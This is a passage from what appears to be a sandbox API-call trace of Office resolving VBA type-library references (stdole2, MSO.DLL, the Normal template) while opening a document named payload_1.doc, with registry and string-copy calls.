_Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0093.545] wcscpy_s (in: _Destination=0x2763bfe0e50, _SizeInWords=0x5f, _Source="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation" | out: _Destination="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\System32\\stdole2.tlb#OLE Automation") returned 0x0 [0093.545] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764559f760) [0093.545] IUnknown:AddRef (This=0x276454c2a20) returned 0x5 [0093.545] IUnknown:QueryInterface (in: This=0x276454c2a20, riid=0x7ff9be1ccce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3d08 | out: ppvObject=0xb5690f3d08*=0x0) returned 0x80004002 [0093.545] ITypeLib:RemoteIsName (in: This=0x276454c2a20, szNameBuf="stdole", lHashVal=0x406093, pfName=0xb5690f3ec0, pBstrLibName=0xb5690f3df0 | out: pfName=0xb5690f3ec0*=0, pBstrLibName=0xb5690f3df0) returned 0x0 [0093.545] IUnknown:Release (This=0x276454c2a20) returned 0x4 [0093.545] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x24) returned 0x2764ad02360 [0093.545] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b18eac0) [0093.545] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad02420 [0093.545] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad02420, cb=0x50) returned 0x2764b15b070 [0093.545] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad02360) [0093.547] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=-1, lpMultiByteStr=0xb5690f4130, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0093.547] _stat64i32 (in: _FileName="Normal", _Stat=0xb5690f42d8 | out: _Stat=0xb5690f42d8) returned -1 [0093.548] wcscpy_s (in: _Destination=0x2764ad024ee, _SizeInWords=0x7, _Source="Normal" | out: _Destination="Normal") returned 0x0 [0093.548] wcscpy_s (in: _Destination=0x2763bfe0db8, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0093.548] wcsncpy_s (in: _Destination=0xb5690f3ee0, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0093.548] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0093.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xb5690f3e10, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0093.548] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764b3c6a40, cb=0x880) returned 0x2764b524800 [0093.548] wcscpy_s (in: _Destination=0x2764b524c30, _SizeInWords=0xa, _Source="*\\CNormal" | out: _Destination="*\\CNormal") returned 0x0 [0093.548] wcsncpy_s (in: _Destination=0xb5690f3f20, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0093.548] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0093.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0xb5690f3e50, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0093.548] wcsncpy_s (in: _Destination=0xb5690f3ee0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0093.548] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0093.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f3e10, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0093.548] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned -4 [0093.548] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0093.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Normal", cchWideChar=7, lpMultiByteStr=0xb5690f41c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Normal", lpUsedDefaultChar=0x0) returned 7 [0093.548] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Normal") returned 0x40d8df [0093.548] strcpy_s (in: _Dst=0xb5690f3fa0, _DstSize=0x7, _Src="Normal" | out: _Dst="Normal") returned 0x0 [0093.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f3fa0, cbMultiByte=7, lpWideCharStr=0xb5690f3df0, cchWideChar=7 | out: lpWideCharStr="Normal") returned 7 [0093.548] IUnknown:AddRef (This=0x276454bf8a0) returned 0x3 [0093.548] ITypeLib:RemoteIsName (in: This=0x276454bf8a0, szNameBuf="Normal", lHashVal=0x40d8df, pfName=0xb5690f3ec0, pBstrLibName=0xb5690f3df0 | out: pfName=0xb5690f3ec0*=0, pBstrLibName=0xb5690f3df0) returned 0x0 [0093.549] IUnknown:Release (This=0x276454bf8a0) returned 0x2 [0093.549] IUnknown:AddRef (This=0x276454c2ce0) returned 0x4 [0093.549] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="Normal", lHashVal=0x40d8df, pfName=0xb5690f3ec0, pBstrLibName=0xb5690f3df0 | out: pfName=0xb5690f3ec0*=0, pBstrLibName=0xb5690f3df0) returned 0x0 [0093.549] IUnknown:Release (This=0x276454c2ce0) returned 0x3 [0093.549] IUnknown:AddRef (This=0x276454c2a20) returned 0x5 [0093.549] ITypeLib:RemoteIsName (in: This=0x276454c2a20, szNameBuf="Normal", lHashVal=0x40d8df, pfName=0xb5690f3ec0, pBstrLibName=0xb5690f3df0 | out: pfName=0xb5690f3ec0*=0, pBstrLibName=0xb5690f3df0) returned 0x0 [0093.549] IUnknown:Release (This=0x276454c2a20) returned 0x4 [0093.549] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x30) returned 0x276455f3000 [0093.549] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b15b070) [0093.549] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad02e10 [0093.549] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad02e10, cb=0x5c) returned 0x2764ad08570 [0093.549] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455f3000) [0093.549] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x9a) returned 0x2763bf06d90 [0093.549] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2763bf06d90) [0093.550] CLSIDFromString (in: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", pclsid=0xb5690f4290 | out: pclsid=0xb5690f4290*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52))) returned 0x0 [0093.550] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x8c) returned 0x2764b1ae390 [0093.550] _ultow_s (in: _Value=0x2, _Buffer=0xb5690f411a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0093.550] _ultow_s (in: _Value=0x8, _Buffer=0xb5690f411e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0093.550] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f4122, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.550] wcscpy_s (in: _Destination=0x2764ad9be78, _SizeInWords=0x9b, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0093.550] wcscpy_s (in: _Destination=0x2764ad9be7e, _SizeInWords=0x98, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0093.550] wcscpy_s (in: _Destination=0x2764ad9beca, _SizeInWords=0x72, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0093.550] wcscpy_s (in: _Destination=0x2764ad9bed8, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 0x0 [0093.550] wcscpy_s (in: _Destination=0x2764ad9bf64, _SizeInWords=0x25, _Source="Microsoft Office 14.0 Object Library" | out: _Destination="Microsoft Office 14.0 Object Library") returned 0x0 [0093.550] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1ae390) [0093.550] wcsncpy_s (in: _Destination=0x276454899c8, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x30 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#") returned 0x0 [0093.550] wcscpy_s (in: _Destination=0x27645489a28, _SizeInWords=0x6b, _Source="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" | out: _Destination="C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 0x0 [0093.550] wcscpy_s (in: _Destination=0x27645489ab2, _SizeInWords=0x26, _Source="#Microsoft Office 14.0 Object Library" | out: _Destination="#Microsoft Office 14.0 Object Library") returned 0x0 [0093.550] wcscpy_s (in: _Destination=0x2763bfe0f10, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0093.551] wcsncpy_s (in: _Destination=0xb5690f3ee0, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0093.551] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library") returned 0x9a [0093.551] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x136) returned 0x276451acbb0 [0093.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", cchWideChar=155, lpMultiByteStr=0x276451acbb0, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", lpUsedDefaultChar=0x0) returned 155 [0093.551] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276451acbb0) [0093.551] wcscpy_s (in: _Destination=0x2764b524c78, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0093.551] wcsncpy_s (in: _Destination=0xb5690f3f20, _SizeInWords=0x108, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", _MaxCount=0x106 | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0093.551] CharLowerBuffW (in: lpsz="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library", cchLength=0x9a | out: lpsz="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library") returned 0x9a [0093.551] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x136) returned 0x276451acbb0 [0093.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", cchWideChar=155, lpMultiByteStr=0x276451acbb0, cbMultiByte=310, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{2df8d04c-5bfa-101b-bde5-00aa0044de52}#2.8#0#c:\\program files (x86)\\common files\\microsoft shared\\office14\\mso.dll#microsoft office 14.0 object library", lpUsedDefaultChar=0x0) returned 155 [0093.551] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276451acbb0) [0093.551] wcsncpy_s (in: _Destination=0xb5690f3ee0, _SizeInWords=0x108, _Source="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0x0 [0093.551] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", cchLength=0x28 | out: lpsz="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc") returned 0x28 [0093.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", cchWideChar=41, lpMultiByteStr=0xb5690f3e10, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\fd1hvy\\desktop\\payload_1.doc", lpUsedDefaultChar=0x0) returned 41 [0093.551] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\\Windows\\SysWOW64\\stdole2.tlb#OLE Automation") returned -4 [0093.551] _wcsicmp (_String1="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc", _String2="*\\CC:\\Users\\FD1HVy\\Desktop\\payload_1.doc") returned 0 [0093.551] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Office", cchWideChar=7, lpMultiByteStr=0xb5690f41c0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Office", lpUsedDefaultChar=0x0) returned 7 [0093.551] LHashValOfNameSysA (syskind=0x3, lcid=0x411, szName="Office") returned 0x407515 [0093.551] strcpy_s (in: _Dst=0xb5690f3fa0, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0093.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb5690f3fa0, cbMultiByte=7, lpWideCharStr=0xb5690f3df0, cchWideChar=7 | out: lpWideCharStr="Office") returned 7 [0093.551] IUnknown:AddRef (This=0x276454bf8a0) returned 0x3 [0093.551] ITypeLib:RemoteIsName (in: This=0x276454bf8a0, szNameBuf="Office", lHashVal=0x407515, pfName=0xb5690f3ec0, pBstrLibName=0xb5690f3df0 | out: pfName=0xb5690f3ec0*=0, pBstrLibName=0xb5690f3df0) returned 0x0 [0093.551] IUnknown:Release (This=0x276454bf8a0) returned 0x2 [0093.551] IUnknown:AddRef (This=0x276454c2ce0) returned 0x4 [0093.552] ITypeLib:RemoteIsName (in: This=0x276454c2ce0, szNameBuf="Office", lHashVal=0x407515, pfName=0xb5690f3ec0, pBstrLibName=0xb5690f3df0 | out: pfName=0xb5690f3ec0*=0, pBstrLibName=0xb5690f3df0) returned 0x0 [0093.552] IUnknown:Release (This=0x276454c2ce0) returned 0x3 [0093.552] IUnknown:AddRef (This=0x276454c2a20) returned 0x5 [0093.552] ITypeLib:RemoteIsName (in: This=0x276454c2a20, szNameBuf="Office", lHashVal=0x407515, pfName=0xb5690f3ec0, pBstrLibName=0xb5690f3df0 | out: pfName=0xb5690f3ec0*=0, pBstrLibName=0xb5690f3df0) returned 0x0 [0093.552] IUnknown:Release (This=0x276454c2a20) returned 0x4 [0093.552] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x1000) returned 0x276455a1780 [0093.552] wcscpy_s (in: _Destination=0x276454899c8, _SizeInWords=0x9b, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files (x86)\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL#Microsoft Office 14.0 Object Library") returned 0x0 [0093.552] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f35a0 | out: phkResult=0xb5690f35a0*=0x12a6) returned 0x0 [0093.552] RegOpenKeyW (in: hKey=0x12a6, lpSubKey="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", phkResult=0xb5690f3598 | out: phkResult=0xb5690f3598*=0x12aa) returned 0x0 [0093.552] RegEnumKeyW (in: hKey=0x12aa, dwIndex=0x0, lpName=0xb5690f35c8, cchName=0xa | out: lpName="2.6") returned 0x0 [0093.552] RegEnumKeyW (in: hKey=0x12aa, dwIndex=0x1, lpName=0xb5690f35c8, cchName=0xa | out: lpName="2.7") returned 0x0 [0093.553] RegEnumKeyW (in: hKey=0x12aa, dwIndex=0x2, lpName=0xb5690f35c8, cchName=0xa | out: lpName="2.8") returned 0x0 [0093.553] wcscpy_s (in: _Destination=0xb5690f35b0, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0 [0093.553] RegOpenKeyW (in: hKey=0x12aa, lpSubKey="2.8", phkResult=0xb5690f3658 | out: phkResult=0xb5690f3658*=0x12b6) returned 0x0 [0093.553] _ultoa_s (in: _Val=0x0, _DstBuf=0xb5690f35d0, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0 [0093.553] RegOpenKeyA (in: hKey=0x12b6, lpSubKey="0", phkResult=0xb5690f35c0 | out: phkResult=0xb5690f35c0*=0x12be) returned 0x0 [0093.553] RegOpenKeyW (in: hKey=0x12be, lpSubKey="win64", phkResult=0xb5690f35c8 | out: phkResult=0xb5690f35c8*=0x12c6) returned 0x0 [0093.553] RegCloseKey (hKey=0x12c6) returned 0x0 [0093.553] RegCloseKey (hKey=0x12be) returned 0x0 [0093.553] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3660, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.553] RegOpenKeyW (in: hKey=0x12b6, lpSubKey="0", phkResult=0xb5690f3638 | out: phkResult=0xb5690f3638*=0x12ba) returned 0x0 [0093.554] RegQueryValueW (in: hKey=0x12ba, lpSubKey="win64", lpData=0xb5690f3680, lpcbData=0xb5690f3634 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0xb5690f3634) returned 0x0 [0093.554] wcscpy_s (in: _Destination=0x276455a1780, _SizeInWords=0x800, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0093.554] RegCloseKey (hKey=0x12ba) returned 0x0 [0093.554] RegCloseKey (hKey=0x12b6) returned 0x0 [0093.554] RegCloseKey (hKey=0x12aa) returned 0x0 [0093.554] RegCloseKey (hKey=0x12a6) returned 0x0 [0093.554] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0xb5690f3ca8*=0x0 | out: pptlib=0xb5690f3ca8*=0x276454c16e0) returned 0x0 [0093.715] IUnknown:QueryInterface (in: This=0x276454c16e0, riid=0x7ff9be1cb198*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3aa8 | out: ppvObject=0xb5690f3aa8*=0x0) returned 0x80004002 [0093.715] ITypeLib:RemoteGetLibAttr (in: This=0x276454c16e0, ppTLibAttr=0xb5690f3aa0, pDummy=0xb5690f3aa8 | out: ppTLibAttr=0xb5690f3aa0, pDummy=0xb5690f3aa8*=0x0) returned 0x0 [0093.715] ITypeLib:RemoteGetDocumentation (in: This=0x276454c16e0, index=-1, refPtrFlags=0x0, pBstrName=0xb5690f3a98, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27645489a26 | out: pBstrName=0xb5690f3a98*="Microsoft Office 16.0 Object Library", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x27645489a26) returned 0x0 [0093.715] StringFromGUID2 (in: rguid=0x2764ad02420*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52)), lpsz=0xb5690f3ac0, cchMax=39 | out: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 39 [0093.715] _ultow_s (in: _Value=0x2, _Buffer=0xb5690f3a0a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0 [0093.715] _ultow_s (in: _Value=0x8, _Buffer=0xb5690f3a0e, _BufferCount=0xe, _Radix=16 | out: _Buffer="8") returned 0x0 [0093.715] _ultow_s (in: _Value=0x0, _Buffer=0xb5690f3a12, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0 [0093.715] wcscpy_s (in: _Destination=0x2764b662378, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0093.715] wcscpy_s (in: _Destination=0x2764b66237e, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0 [0093.715] wcscpy_s (in: _Destination=0x2764b6623ca, _SizeInWords=0x6c, _Source="#2.8#0#" | out: _Destination="#2.8#0#") returned 0x0 [0093.715] wcscpy_s (in: _Destination=0x2764b6623d8, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0093.715] wcscpy_s (in: _Destination=0x2764b662458, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0 [0093.715] ITypeLib:LocalReleaseTLibAttr (This=0x276454c16e0) returned 0x0 [0093.715] wcscpy_s (in: _Destination=0x276455a1780, _SizeInWords=0x800, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0093.715] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2763bfe0ad0, cb=0xd00) returned 0x2764b631f00 [0093.715] wcscpy_s (in: _Destination=0x2764b632478, _SizeInWords=0x95, _Source="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library" | out: _Destination="*\\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL#Microsoft Office 16.0 Object Library") returned 0x0 [0093.715] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x276455a1780) [0093.715] IUnknown:AddRef (This=0x276454c16e0) returned 0x2 [0093.715] IUnknown:QueryInterface (in: This=0x276454c16e0, riid=0x7ff9be1ccce8*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0xb5690f3d08 | out: ppvObject=0xb5690f3d08*=0x0) returned 0x80004002 [0093.715] ITypeLib:RemoteIsName (in: This=0x276454c16e0, szNameBuf="Office", lHashVal=0x407515, pfName=0xb5690f3ec0, pBstrLibName=0xb5690f3df0 | out: pfName=0xb5690f3ec0*=0, pBstrLibName=0xb5690f3df0) returned 0x0 [0093.715] IUnknown:Release (This=0x276454c16e0) returned 0x1 [0093.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x3c) returned 0x2764b1904b0 [0093.715] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764ad08570) [0093.715] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x20) returned 0x2764ad46a20 [0093.716] IMalloc:Realloc (This=0x7ff9e7edf3f0, pv=0x2764ad46a20, cb=0x68) returned 0x2764ad08570 [0093.716] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764b1904b0) [0093.717] IMalloc:Alloc (This=0x7ff9e7edf3f0, cb=0x88) returned 0x2764afa24f0 [0093.717] IMalloc:Free (This=0x7ff9e7edf3f0, pv=0x2764afa24f0) [0093.717] RegOpenKeyA (in: hKey=0xffffffff80000000, lpSubKey="TypeLib", phkResult=0xb5690f3c30 | out: phkResult=0xb5690f3c30*=0x12ae) returned 0x0 [0093.717] RegOpenKeyW (in: hKey=0x12ae, lpSubKey="{000204EF-0000-0000-C000-000000000046}", phkResult=0xb5690f3c28 | out: phkResult=0xb5690f3c28*=0x12b2) returned 0x0 [0093.717] RegEnumKeyW (in: hKey=0x12b2, dwIndex=0x0, lpName=0xb5690f3c58, cchName=0xa | out: lpName="2.1") returned 0x0 [0093.718] RegEnumKeyW (in: hKey=0x12b2, dwIndex=0x1, lpName=0xb5690f3c58, cchName=0xa | out: lpName="4.2") returned 0x0 [0093.718] wcscpy_s (in: _Destination=0xb5690f3c40, _SizeInWords=0xa, _Source="4.2" 